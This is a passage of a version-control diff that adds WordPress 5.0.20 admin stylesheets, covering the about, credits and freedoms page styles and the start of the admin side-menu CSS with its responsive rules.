+}
+
+.about-wrap figure {
+	position: relative;
+	margin: 0;
+}
+
+.about-wrap .feature-section figure img {
+	margin-bottom: 0;
+}
+
+.about-wrap figcaption {
+	position: absolute;
+	bottom: 0;
+	width: 100%;
+    padding: 40px 10px 15px;
+    overflow: auto;
+    box-sizing: border-box;
+    background: linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 60%,transparent);
+    font-weight: 600;
+    text-shadow: 0px 0px 5px rgba(0,0,0,.75);
+}
+
+.about-wrap .jetpack-video-wrapper {
+	margin-bottom: 0;
+}
+
+/* WordPress Version Badge */
+
+.wp-badge {
+	background: #0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;
+	background-position: center 25px;
+	background-size: 80px 80px;
+	color: #fff;
+	font-size: 14px;
+	text-align: center;
+	font-weight: 600;
+	margin: 5px 0 0;
+	padding-top: 120px;
+	height: 40px;
+	display: inline-block;
+	width: 140px;
+	text-rendering: optimizeLegibility;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.2);
+}
+
+.svg .wp-badge {
+	background-image: url(../images/wordpress-logo-white.svg?ver=20160308);
+}
+
+.about-wrap .wp-badge {
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+/* Tabs */
+
+.about-wrap .nav-tab {
+	padding-right: 15px;
+	padding-left: 15px;
+	font-size: 18px;
+}
+
+/* 1.1 - Typography */
+
+.about-wrap p {
+	line-height: 1.5;
+	font-size: 14px;
+}
+
+.about-wrap .feature-section p {
+	max-width: 55em;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.about-wrap h1 {
+	margin: 0.2em 200px 0 0;
+	padding: 0;
+	color: #32373c;
+	line-height: 1.2em;
+	font-size: 2.8em;
+	font-weight: 400;
+}
+
+.about-wrap h2 {
+	margin: 40px 0 .6em;
+	font-size: 2.7em;
+	line-height: 1.3;
+	font-weight: 300;
+	text-align: center;
+}
+
+.about-wrap h3 {
+	margin: 1.25em 0 .6em;
+	font-size: 1.4em;
+	line-height: 1.5;
+}
+
+.about-wrap h4 {
+	color: #23282d;
+}
+
+.about-wrap code,
+.about-wrap ol li p {
+	font-size: 14px;
+	font-weight: 400;
+}
+
+.about-wrap figcaption {
+    font-size: 13px;
+    text-align: center;
+	color: white;
+	text-overflow: ellipsis;
+}
+
+.about-wrap .about-description,
+.about-wrap .about-text {
+	margin-top: 1.4em;
+	font-weight: 400;
+	line-height: 1.6em;
+	font-size: 19px;
+}
+
+.about-wrap .about-text {
+	margin: 1em 200px 1em 0;
+	color: #555d66;
+}
+
+/* 1.2 - Structure */
+
+.about-wrap [class$="-col"] {
+	display: flex;
+	justify-content: space-between;
+	flex-wrap: wrap;
+}
+
+.about-wrap .feature-section.one-col {
+	margin: 0 auto;
+	max-width: 680px;
+}
+
+.about-wrap .inline-svg img {
+	max-width: 100%;
+	width: 100%;
+	height: auto;
+}
+
+.about-wrap .inline-svg.full-width {
+	margin-bottom: 120px;
+}
+
+.about-wrap [class$="-col"] .col {
+	flex: 1;
+}
+
+.about-wrap .two-col .col {
+	min-width: 47%;
+	max-width: 47%;
+}
+
+.about-wrap .three-col,
+.about-wrap .four-col {
+	margin: auto;
+	max-width: 1020px;
+}
+
+.about-wrap .three-col .col {
+	align-self: flex-start;
+	min-width: 31%;
+	max-width: 31%;
+}
+
+.about-wrap .four-col .col {
+	align-self: flex-start;
+	min-width: 23%;
+	max-width: 23%;
+}
+
+.about-wrap .feature-section.eight-col .col {
+	align-self: flex-start;
+	margin-top: 6px;
+	min-width: 12%;
+	max-width: 12%;
+}
+
+.about-wrap .one-col img {
+	margin: 1em 0 2em;
+}
+
+.about-wrap .two-col img {
+	margin-bottom: 1.5em;
+}
+
+.about-wrap .feature-video .mejs-controls {
+	display: none !important;
+}
+
+.about-wrap .feature-video .mejs-overlay-loading span {
+	background: transparent; /* Hide loading.gif */
+}
+
+.about-wrap video {
+	margin: 1.5em auto;
+}
+
+.about-wrap .cta {
+	text-align: center;
+}
+.about-wrap .cta .button {
+	margin: 0 auto 5px;
+	font-weight: 600;
+}
+
+/* 1.3 - Point Releases */
+
+.about-wrap .point-releases {
+	margin-top: 5px;
+	border-bottom: 1px solid #ddd;
+}
+
+.about-wrap .changelog.point-releases h3 {
+	padding-top: 35px;
+}
+
+.about-wrap .changelog.point-releases h3:first-child {
+	padding-top: 7px;
+}
+
+/*------------------------------------------------------------------------------
+  2.0 - About Page
+------------------------------------------------------------------------------*/
+
+/* 2.1 - Typography */
+
+.about-wrap .feature-section.two-col h3 {
+	margin-top: 0;
+}
+
+.about-wrap .feature-section h4 {
+	margin: 1.4em 0 0.6em 0;
+	font-size: 1em;
+}
+
+.about-wrap .feature-section p {
+	margin-top: 0.6em;
+}
+
+.about-wrap .lead-description {
+	font-size: 1.5em;
+	text-align: center;
+}
+
+.about-wrap .two-col-text {
+	column-count: 2;
+	column-gap: 40px;
+}
+
+.about-wrap .two-col-text p:first-of-type {
+	margin-top: 0;
+}
+
+.about-wrap .streamlined-updates p,
+.about-wrap .native-fonts p {
+	margin-bottom: 3em;
+}
+
+.about-wrap .under-the-hood img + h3 {
+	margin-top: 1.25em;
+}
+
+/* 2.2 - Structure */
+
+.about-wrap .headline-feature.feature-video {
+	position: relative;
+	margin: 40px 0;
+	padding-bottom: 56.25%;
+	width: 100%;
+	max-width: 100%;
+	height: 0;
+	text-align: center;
+}
+
+.about-wrap .feature-video embed {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+}
+
+.about-wrap .featured-image {
+	text-align: center;
+}
+
+.about-wrap .feature-section {
+	overflow: hidden;
+}
+
+.about-wrap .feature-section.no-heading {
+	padding-top: 35px;
+}
+
+.about-wrap .feature-section .media-container {
+	overflow: hidden;
+}
+
+.about-wrap .embed-container {
+	text-align: center;
+}
+
+.about-wrap .embed-container iframe {
+	max-width: 100%;
+}
+
+.about-wrap .wp-embedded-content {
+	max-width: 100%;
+}
+
+.about-wrap .feature-section .col {
+	margin-top: 40px;
+}
+
+.about-wrap .changelog {
+	margin-bottom: 40px;
+}
+
+.about-wrap .changelog.feature-section .col {
+	margin-top: 40px;
+}
+
+/* Return to Dashboard Home link */
+
+.about-wrap .return-to-dashboard {
+	margin: 30px 0 0 -5px;
+	font-size: 14px;
+	font-weight: 600;
+}
+
+.about-wrap .return-to-dashboard a {
+	text-decoration: none;
+	padding: 0 5px;
+}
+
+/*------------------------------------------------------------------------------
+  3.0 - Credits & Freedoms Pages
+------------------------------------------------------------------------------*/
+
+/* Credits */
+
+.about-wrap h3.wp-people-group {
+	margin: 2.6em 0 1.33em;
+	padding: 0;
+	font-size: 16px;
+	line-height: inherit;
+}
+
+.about-wrap .wp-people-group {
+	padding: 0 5px;
+	margin: 0 -15px 0 -5px;
+}
+
+.about-wrap .compact {
+	margin-bottom: 0;
+}
+
+.about-wrap .wp-person {
+	display: inline-block;
+	vertical-align: top;
+	margin-right: 10px;
+	padding-bottom: 15px;
+	height: 70px;
+	width: 280px;
+}
+
+.about-wrap .compact .wp-person {
+	height: auto;
+	width: 180px;
+	padding-bottom: 0;
+	margin-bottom: 0;
+}
+
+.about-wrap .wp-person .gravatar {
+	float: left;
+	margin: 0 10px 10px 0;
+	padding: 1px;
+	width: 60px;
+	height: 60px;
+}
+
+.about-wrap .compact .wp-person .gravatar {
+	width: 30px;
+	height: 30px;
+}
+
+.about-wrap .wp-person .web {
+	margin: 6px 0 2px;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 2em;
+	text-decoration: none;
+}
+
+.about-wrap .wp-person .title {
+	display: block;
+}
+
+.about-wrap #wp-people-group-validators + p.wp-credits-list {
+	margin-top: 0;
+}
+
+.about-wrap p.wp-credits-list a {
+	white-space: nowrap;
+}
+
+/* Freedoms */
+
+.freedoms-php .about-wrap ol {
+	margin: 40px 60px;
+}
+
+.freedoms-php .about-wrap ol li {
+	list-style-type: decimal;
+	font-weight: 600;
+}
+
+.freedoms-php .about-wrap ol p {
+	font-weight: 400;
+	margin: 0.6em 0;
+}
+
+.freedoms-php .about-wrap .col .freedoms-image {
+	background-image: url('https://s.w.org/wp-content/themes/pub/wporg-main/images/freedoms-2x.png');
+	background-size: 100%;
+	padding-top: 100%;
+}
+.freedoms-php .about-wrap .col:nth-of-type(2) .freedoms-image {
+	background-position: 0 34%;
+}
+.freedoms-php .about-wrap .col:nth-of-type(3) .freedoms-image {
+	background-position: 0 66%;
+}
+.freedoms-php .about-wrap .col:nth-of-type(4) .freedoms-image {
+	background-position: 0 100%;
+}
+
+/*------------------------------------------------------------------------------
+  4.0 - Media Queries
+------------------------------------------------------------------------------*/
+
+@media screen and (max-width: 1250px) {
+	.about-wrap .floating-header-section.has-long-title .section-item:nth-child(1),
+	.about-wrap .floating-header-section.has-long-title .section-item:nth-child(2) {
+		margin: 0 0 60px;
+	}
+
+	.about-wrap .floating-header-section.has-long-title .section-item:nth-child(3),
+	.about-wrap .floating-header-section.has-long-title .section-item:nth-child(4) {
+		margin: 0;
+	}
+
+	.about-wrap .floating-header-section.has-long-title .section-item:nth-child(2),
+	.about-wrap .floating-header-section.has-long-title .section-item:nth-child(4) {
+		margin-left: 60px;
+	}
+}
+
+@media screen and (max-width: 782px) {
+	.about-wrap .two-col-text {
+		column-count: 1;
+	}
+
+	.about-wrap .two-col .col,
+	.about-wrap .three-col .col,
+	.about-wrap .four-col .col {
+		min-width: 48% !important;
+	}
+
+	.about-wrap .eight-col .col {
+		min-width: 24% !important;
+	}
+
+	.about-wrap .three-col img,
+	.about-wrap .four-col img,
+	.about-wrap .eight-col img {
+		display: block;
+		margin: 0 auto;
+	}
+
+	.about-wrap figcaption {
+		position: relative;
+		margin-top: 10px;
+		margin-bottom: 15px;
+		padding: 0;
+		background: none;
+		color: #40464D;
+		text-shadow: none;
+	}
+
+	.about-wrap .floating-header-section {
+		display: block;
+	}
+
+	.about-wrap .floating-header-section .section-header,
+	.about-wrap .floating-header-section .section-content {
+		max-width: 100%;
+	}
+
+	.about-wrap .floating-header-section h2 {
+		position: static;
+		margin-bottom: 60px;
+	}
+}
+
+@media only screen and (max-width: 500px) {
+	.about-wrap {
+		margin-right: 20px;
+		margin-left: 10px;
+	}
+
+	.about-wrap h1,
+	.about-wrap .about-text {
+		margin-right: 0;
+	}
+
+	.about-wrap .about-text {
+		margin-bottom: 0.25em;
+	}
+
+	.about-wrap .wp-badge {
+		position: relative;
+		margin-bottom: 1.5em;
+		width: 100%;
+	}
+
+	.about-wrap .feature-section .col {
+		margin-top: 1em;
+	}
+
+	.about-wrap .two-col .col,
+	.about-wrap .three-col .col,
+	.about-wrap .three-col .col {
+		min-width: 100% !important;
+	}
+
+	.about-wrap .eight-col .col {
+		min-width: 48% !important;
+	}
+
+	.about-wrap .under-the-hood.four-col .col,
+	.about-wrap .under-the-hood.three-col .col,
+	.about-wrap .under-the-hood.two-col .col,
+	.about-wrap .under-the-hood.one-col .col {
+		margin-bottom: 2em;
+		padding-bottom: 0;
+	}
+
+	.about-wrap .under-the-hood:nth-of-type(2n),
+	.about-wrap .under-the-hood:nth-of-type(3n) {
+		margin-top: 0;
+	}
+
+	.about-wrap .under-the-hood img + h3 {
+		margin-top: 1.25em;
+	}
+
+	.about-wrap .floating-header-section {
+		margin-bottom: 60px;
+		grid-gap: 30px 0;
+	}
+
+	.about-wrap .inline-svg.full-width {
+		margin-bottom: 60px;
+	}
+
+	.about-wrap .floating-header-section h2 {
+		word-break: break-all;
+		-webkit-hyphens: auto;
+		-ms-hyphens: auto;
+		hyphens: auto;
+	}
+
+	.about-wrap .floating-header-section .section-content .section-item {
+		max-width: 100%;
+		margin: 0 0 60px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/admin-menu.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/admin-menu.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/admin-menu.css	(revision 56912)
@@ -0,0 +1,920 @@
+#adminmenuback,
+#adminmenuwrap,
+#adminmenu,
+#adminmenu .wp-submenu {
+	width: 160px;
+	background-color: #23282d;
+}
+
+#adminmenuback {
+	position: fixed;
+	top: 0;
+	bottom: -120px;
+	z-index: 1; /* positive z-index to avoid elastic scrolling woes in Safari */
+}
+
+#adminmenu {
+	clear: left;
+	margin: 12px 0;
+	padding: 0;
+	list-style: none;
+}
+
+.folded #adminmenuback,
+.folded #adminmenuwrap,
+.folded #adminmenu,
+.folded #adminmenu li.menu-top {
+	width: 36px;
+}
+
+.icon16 {
+	height: 18px;
+	width: 18px;
+	padding: 6px 6px;
+	margin: -6px 0 0 -8px;
+	float: left;
+}
+
+/* New Menu icons */
+
+.icon16:before {
+	color: #82878c; /* same as new icons */
+	font: normal 20px/1 dashicons;
+	speak: none;
+	padding: 6px 0;
+	height: 34px;
+	width: 20px;
+	display: inline-block;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	transition: all .1s ease-in-out;
+}
+
+.icon16.icon-dashboard:before {
+	content: "\f226";
+}
+
+.icon16.icon-post:before {
+	content: "\f109";
+}
+
+.icon16.icon-media:before {
+	content: "\f104";
+}
+
+.icon16.icon-links:before {
+	content: "\f103";
+}
+
+.icon16.icon-page:before {
+	content: "\f105";
+}
+
+.icon16.icon-comments:before {
+	content: "\f101";
+	margin-top: 1px;
+}
+
+.icon16.icon-appearance:before {
+	content: "\f100";
+}
+
+.icon16.icon-plugins:before {
+	content: "\f106";
+}
+
+.icon16.icon-users:before {
+	content: "\f110";
+}
+
+.icon16.icon-tools:before {
+	content: "\f107";
+}
+
+.icon16.icon-settings:before {
+	content: "\f108";
+}
+
+.icon16.icon-site:before {
+	content: "\f541";
+}
+
+.icon16.icon-generic:before {
+	content: "\f111";
+}
+
+/* hide background-image for icons above */
+.icon16.icon-dashboard,
+.menu-icon-dashboard div.wp-menu-image,
+.icon16.icon-post,
+.menu-icon-post div.wp-menu-image,
+.icon16.icon-media,
+.menu-icon-media div.wp-menu-image,
+.icon16.icon-links,
+.menu-icon-links div.wp-menu-image,
+.icon16.icon-page,
+.menu-icon-page div.wp-menu-image,
+.icon16.icon-comments,
+.menu-icon-comments div.wp-menu-image,
+.icon16.icon-appearance,
+.menu-icon-appearance div.wp-menu-image,
+.icon16.icon-plugins,
+.menu-icon-plugins div.wp-menu-image,
+.icon16.icon-users,
+.menu-icon-users div.wp-menu-image,
+.icon16.icon-tools,
+.menu-icon-tools div.wp-menu-image,
+.icon16.icon-settings,
+.menu-icon-settings div.wp-menu-image,
+.icon16.icon-site,
+.menu-icon-site div.wp-menu-image,
+.icon16.icon-generic,
+.menu-icon-generic div.wp-menu-image {
+	background-image: none !important;
+}
+
+/*------------------------------------------------------------------------------
+  7.0 - Main Navigation (Left Menu)
+------------------------------------------------------------------------------*/
+
+#adminmenuwrap {
+	position: relative;
+	float: left;
+	z-index: 9990;
+}
+
+/* side admin menu */
+#adminmenu * {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#adminmenu li {
+	margin: 0;
+	padding: 0;
+	cursor: pointer;
+}
+
+#adminmenu a {
+	display: block;
+	line-height: 18px;
+	padding: 2px 5px;
+	color: #eee;
+}
+
+#adminmenu .wp-submenu a {
+	color: #b4b9be;
+	color: rgba(240,245,250,0.7);
+}
+
+#adminmenu .wp-submenu a:hover,
+#adminmenu .wp-submenu a:focus {
+	background: none;
+}
+
+#adminmenu a:hover,
+#adminmenu li.menu-top > a:focus,
+#adminmenu .wp-submenu a:hover,
+#adminmenu .wp-submenu a:focus {
+	color: #00b9eb;
+}
+
+#adminmenu li.menu-top {
+	border: none;
+	min-height: 34px;
+	position: relative;
+}
+
+#adminmenu .wp-submenu {
+	list-style: none;
+	position: absolute;
+	top: -1000em;
+	left: 160px;
+	overflow: visible;
+	word-wrap: break-word;
+}
+
+#adminmenu .wp-submenu,
+.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	padding: 7px 0 8px;
+	z-index: 9999;
+	background-color: #32373c;
+	box-shadow: 0 3px 5px rgba(0,0,0,0.2);
+}
+
+.js #adminmenu .sub-open,
+.js #adminmenu .opensub .wp-submenu,
+#adminmenu a.menu-top:focus + .wp-submenu,
+.no-js li.wp-has-submenu:hover .wp-submenu {
+	top: -1px;
+}
+
+#adminmenu .wp-has-current-submenu .wp-submenu,
+.no-js li.wp-has-current-submenu:hover .wp-submenu,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+#adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
+#adminmenu .wp-has-current-submenu.opensub .wp-submenu {
+	position: relative;
+	z-index: 3;
+	top: auto;
+	left: auto;
+	right: auto;
+	bottom: auto;
+	border: 0 none;
+	margin-top: 0;
+	box-shadow: none;
+	background-color: #32373c;
+}
+
+/* ensure that wp-submenu's box shadow doesn't appear on top of the focused menu item's background. */
+#adminmenu li.menu-top:hover,
+#adminmenu li.opensub > a.menu-top,
+#adminmenu li > a.menu-top:focus {
+	position: relative;
+	background-color: #191e23;
+	color: #00b9eb;
+}
+
+.folded #adminmenu li.menu-top:hover,
+.folded #adminmenu li.opensub > a.menu-top,
+.folded #adminmenu li > a.menu-top:focus {
+	z-index: 10000;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu li.current a.menu-top,
+.folded #adminmenu li.wp-has-current-submenu,
+.folded #adminmenu li.current.menu-top,
+#adminmenu .wp-menu-arrow,
+#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head,
+#adminmenu .wp-menu-arrow div {
+	background: #0073aa;
+	color: #fff;
+}
+
+.folded #adminmenu .wp-submenu.sub-open,
+.folded #adminmenu .opensub .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
+.folded #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
+.folded #adminmenu a.menu-top:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu,
+.no-js.folded #adminmenu .wp-has-submenu:hover .wp-submenu {
+	top: 0;
+	left: 36px;
+}
+
+.folded #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	position: absolute;
+	top: -1000em;
+}
+
+#adminmenu .wp-not-current-submenu .wp-submenu,
+.folded #adminmenu .wp-has-current-submenu .wp-submenu {
+	min-width: 160px;
+	width: auto;
+}
+
+#adminmenu .wp-submenu a {
+	font-size: 13px;
+	line-height: 18px;
+	margin: 0;
+	padding: 5px 0;
+}
+
+#adminmenu .wp-submenu li.current,
+#adminmenu .wp-submenu li.current a,
+#adminmenu .opensub .wp-submenu li.current a,
+#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
+#adminmenu .wp-submenu li.current a:hover,
+#adminmenu .wp-submenu li.current a:focus {
+	color: #fff;
+}
+
+#adminmenu .wp-not-current-submenu li > a,
+.folded #adminmenu .wp-has-current-submenu li > a {
+	padding-right: 16px;
+	padding-left: 14px;
+	transition: all .1s ease-in-out;
+}
+
+#adminmenu .wp-has-current-submenu ul > li > a,
+.folded #adminmenu li.menu-top .wp-submenu > li > a {
+	padding: 5px 12px;
+}
+
+#adminmenu a.menu-top,
+#adminmenu .wp-submenu-head {
+	font-size: 14px;
+	font-weight: 400;
+	line-height: 18px;
+	padding: 0;
+}
+
+#adminmenu .wp-submenu-head {
+	display: none;
+}
+
+.folded #adminmenu .wp-menu-name {
+	position: absolute;
+	left: -999px;
+}
+
+.folded #adminmenu .wp-submenu-head {
+	display: block;
+}
+
+#adminmenu .wp-submenu li {
+	padding: 0;
+	margin: 0;
+	overflow: hidden;
+}
+
+#adminmenu .wp-menu-image img {
+	padding: 9px 0 0 0;
+	opacity: 0.6;
+	filter: alpha(opacity=60);
+}
+
+#adminmenu div.wp-menu-name {
+	padding: 8px 0;
+}
+
+#adminmenu div.wp-menu-image {
+	float: left;
+	width: 36px;
+	height: 34px;
+	margin: 0;
+	text-align: center;
+}
+
+#adminmenu div.wp-menu-image.svg {
+	background-repeat: no-repeat;
+	background-position: center;
+	background-size: 20px auto;
+}
+
+div.wp-menu-image:before {
+	color: #a0a5aa;
+	color: rgba(240,245,250,0.6);
+	padding: 7px 0;
+	transition: all .1s ease-in-out;
+}
+
+#adminmenu div.wp-menu-image:before {
+	color: #a0a5aa;
+	color: rgba(240,245,250,0.6);
+}
+
+#adminmenu li.wp-has-current-submenu:hover div.wp-menu-image:before,
+#adminmenu .wp-has-current-submenu div.wp-menu-image:before,
+#adminmenu .current div.wp-menu-image:before,
+#adminmenu a.wp-has-current-submenu:hover div.wp-menu-image:before,
+#adminmenu a.current:hover div.wp-menu-image:before,
+#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
+#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before {
+	color: #fff;
+}
+
+#adminmenu li:hover div.wp-menu-image:before,
+#adminmenu li a:focus div.wp-menu-image:before,
+#adminmenu li.opensub div.wp-menu-image:before {
+	color: #00b9eb;
+}
+
+/* IE8 doesn't redraw the pseudo elements unless you make a change to the content, this restore the initial color after hover */
+.ie8 #adminmenu li.opensub div.wp-menu-image:before {
+	color: #a0a5aa;
+}
+
+.folded #adminmenu div.wp-menu-image {
+	width: 35px;
+	height: 30px;
+	position: absolute;
+	z-index: 25;
+}
+
+.folded #adminmenu a.menu-top {
+	height: 34px;
+}
+
+/* No @font-face support */
+.no-font-face #adminmenu .wp-menu-image {
+	display: none;
+}
+
+.no-font-face #adminmenu div.wp-menu-name {
+	padding: 8px 12px;
+}
+
+.no-font-face.auto-fold #adminmenu .wp-menu-name {
+	margin-left: 0;
+}
+/* End no @font-face support */
+
+/* Sticky admin menu */
+.sticky-menu #adminmenuwrap {
+	position: fixed;
+}
+
+/* A new arrow */
+
+.wp-menu-arrow {
+	display: none !important;
+}
+
+ul#adminmenu a.wp-has-current-submenu {
+	position: relative;
+}
+
+ul#adminmenu a.wp-has-current-submenu:after,
+ul#adminmenu > li.current > a.current:after {
+	right: 0;
+	border: solid 8px transparent;
+	content: " ";
+	height: 0;
+	width: 0;
+	position: absolute;
+	pointer-events: none;
+	border-right-color: #f1f1f1;
+	top: 50%;
+	margin-top: -8px;
+}
+
+.folded ul#adminmenu li:hover a.wp-has-current-submenu:after {
+	display: none;
+}
+
+.folded ul#adminmenu a.wp-has-current-submenu:after,
+.folded ul#adminmenu > li a.current:after {
+	border-width: 4px;
+	margin-top: -4px;
+}
+
+/* flyout menu arrow */
+#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+	right: 0;
+	border: solid transparent;
+	content: " ";
+	height: 0;
+	width: 0;
+	position: absolute;
+	pointer-events: none;
+	border-width: 8px;
+	top: 10px;
+	z-index: 10000;
+}
+
+.folded ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+	border-width: 4px;
+	margin-top: -4px;
+	top: 18px;
+}
+
+#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
+	border-right-color: #32373c;
+}
+
+#adminmenu li.menu-top:hover .wp-menu-image img,
+#adminmenu li.wp-has-current-submenu .wp-menu-image img {
+	opacity: 1;
+	filter: alpha(opacity=100);
+}
+
+#adminmenu li.wp-menu-separator {
+	height: 5px;
+	padding: 0;
+	margin: 0 0 6px 0;
+	cursor: inherit;
+}
+
+/* @todo: is this even needed given that it's nested beneath the above li.wp-menu-separator? */
+#adminmenu div.separator {
+	height: 2px;
+	padding: 0;
+}
+
+#adminmenu .wp-submenu .wp-submenu-head {
+	color: #fff;
+	font-weight: 400;
+	font-size: 14px;
+	padding: 8px 4px 8px 11px;
+	margin: -7px 0px 4px;
+}
+
+#adminmenu li.current,
+.folded #adminmenu li.wp-menu-open {
+	border: 0 none;
+}
+
+/* @todo: consider to use a single rule for these counters and the list table comments counters. */
+#adminmenu .awaiting-mod,
+#adminmenu .update-plugins {
+	display: inline-block;
+	vertical-align: top;
+	margin: 1px 0 0 2px;
+	padding: 0 5px;
+	min-width: 7px;
+	height: 17px;
+	border-radius: 11px;
+	background-color: #ca4a1f;
+	color: #fff;
+	font-size: 9px;
+	line-height: 17px;
+	text-align: center;
+	z-index: 26;
+}
+
+#adminmenu li.current a .awaiting-mod,
+#adminmenu li a.wp-has-current-submenu .update-plugins {
+	background-color: #00b9eb;
+	color: #fff;
+}
+
+#adminmenu li span.count-0 {
+	display: none;
+}
+
+#collapse-button {
+	display: block;
+	width: 100%;
+	height: 34px;
+	margin: 0;
+	border: none;
+	padding: 0;
+	position: relative;
+	overflow: visible;
+	line-height: 34px;
+	background: none;
+	color: #aaa;
+	cursor: pointer;
+	outline: 0;
+}
+
+#collapse-button:hover,
+#collapse-button:focus {
+	color: #00b9eb;
+}
+
+#collapse-button .collapse-button-icon,
+#collapse-button .collapse-button-label {
+	/* absolutely positioned to avoid 1px shift in IE when button is pressed */
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	line-height: 34px;
+}
+
+#collapse-button .collapse-button-icon {
+	width: 36px;
+	height: 34px;
+}
+
+#collapse-button .collapse-button-label {
+	padding: 0 0 0 36px;
+}
+
+.folded #collapse-button .collapse-button-label {
+	display: none;
+}
+
+#collapse-button .collapse-button-icon:after {
+	content: "\f148";
+	display: block;
+	position: relative;
+	top: 7px;
+	text-align: center;
+	font: normal 20px/1 dashicons !important;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* rtl:ignore */
+.folded #collapse-button .collapse-button-icon:after,
+.rtl #collapse-button .collapse-button-icon:after {
+	transform: rotate(180deg);
+}
+
+.rtl.folded #collapse-button .collapse-button-icon:after {
+	transform: none;
+}
+
+#collapse-button .collapse-button-icon:after,
+#collapse-button .collapse-button-label {
+	transition: all .1s ease-in-out;
+}
+
+/**
+ * Toolbar menu toggle
+ */
+li#wp-admin-bar-menu-toggle {
+	display: none;
+}
+
+/* Hide-if-customize for items we can't add classes to */
+.customize-support #menu-appearance a[href="themes.php?page=custom-header"],
+.customize-support #menu-appearance a[href="themes.php?page=custom-background"] {
+	display: none;
+}
+
+/* Auto-folding of the admin menu */
+@media only screen and (max-width: 960px) {
+	.auto-fold #wpcontent,
+	.auto-fold #wpfooter {
+		margin-left: 36px;
+	}
+
+	.auto-fold #adminmenuback,
+	.auto-fold #adminmenuwrap,
+	.auto-fold #adminmenu,
+	.auto-fold #adminmenu li.menu-top {
+		width: 36px;
+	}
+
+	.auto-fold #adminmenu .wp-submenu.sub-open,
+	.auto-fold #adminmenu .opensub .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu.sub-open,
+	.auto-fold #adminmenu .wp-has-current-submenu.opensub .wp-submenu,
+	.auto-fold #adminmenu a.menu-top:focus + .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu a.menu-top:focus + .wp-submenu {
+		top: 0px;
+		left: 36px;
+	}
+
+	.auto-fold #adminmenu a.wp-has-current-submenu:focus + .wp-submenu,
+	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
+		position: absolute;
+		top: -1000em;
+		margin-right: -1px;
+		padding: 7px 0 8px;
+		z-index: 9999;
+	}
+
+	.auto-fold #adminmenu .wp-has-current-submenu .wp-submenu {
+		min-width: 150px;
+		width: auto;
+	}
+
+	.auto-fold #adminmenu .wp-has-current-submenu li > a {
+		padding-right: 16px;
+		padding-left: 14px;
+	}
+
+
+	.auto-fold #adminmenu li.menu-top .wp-submenu > li > a {
+		padding-left: 12px;
+	}
+
+	.auto-fold #adminmenu .wp-menu-name {
+		position: absolute;
+		left: -999px;
+	}
+
+	.auto-fold #adminmenu .wp-submenu-head {
+		display: block;
+	}
+
+	.auto-fold #adminmenu div.wp-menu-image {
+		height: 30px;
+		width: 34px;
+		position: absolute;
+		z-index: 25;
+	}
+
+	.auto-fold #adminmenu a.menu-top {
+		height: 34px;
+	}
+
+	.auto-fold #adminmenu li.wp-menu-open {
+		border: 0 none;
+	}
+
+	.auto-fold #adminmenu .wp-has-current-submenu.menu-top-last {
+		margin-bottom: 0;
+	}
+
+	.auto-fold ul#adminmenu li:hover a.wp-has-current-submenu:after {
+		display: none;
+	}
+
+	.auto-fold ul#adminmenu li.wp-has-submenu.wp-not-current-submenu:hover:after {
+		border-width: 4px;
+		margin-top: -4px;
+		top: 16px;
+	}
+
+	.auto-fold ul#adminmenu a.wp-has-current-submenu:after,
+	.auto-fold ul#adminmenu > li a.current:after {
+		border-width: 4px;
+		margin-top: -4px;
+	}
+
+	.auto-fold #adminmenu li.menu-top:hover,
+	.auto-fold #adminmenu li.opensub > a.menu-top,
+	.auto-fold #adminmenu li > a.menu-top:focus {
+		z-index: 10000;
+	}
+
+	.auto-fold #collapse-menu .collapse-button-label {
+		display: none;
+	}
+
+	/* rtl:ignore */
+	.auto-fold #collapse-button .collapse-button-icon:after {
+		transform: rotate(180deg);
+	}
+
+	.rtl.auto-fold #collapse-button .collapse-button-icon:after {
+		transform: none;
+	}
+
+}
+
+@media screen and ( max-width: 782px ) {
+	.auto-fold #wpcontent {
+		position: relative;
+		margin-left: 0;
+		padding-left: 10px;
+	}
+
+	.sticky-menu #adminmenuwrap {
+		position: relative;
+		z-index: auto;
+		top: 0;
+	}
+
+	/* Sidebar Adjustments */
+	.auto-fold #adminmenu,
+	.auto-fold #adminmenuback,
+	.auto-fold #adminmenuwrap {
+		position: absolute;
+		width: 190px;
+		z-index: 100;
+	}
+
+	.auto-fold #adminmenuback,
+	.auto-fold #adminmenuwrap {
+		display: none;
+	}
+
+	.auto-fold .wp-responsive-open #adminmenuback,
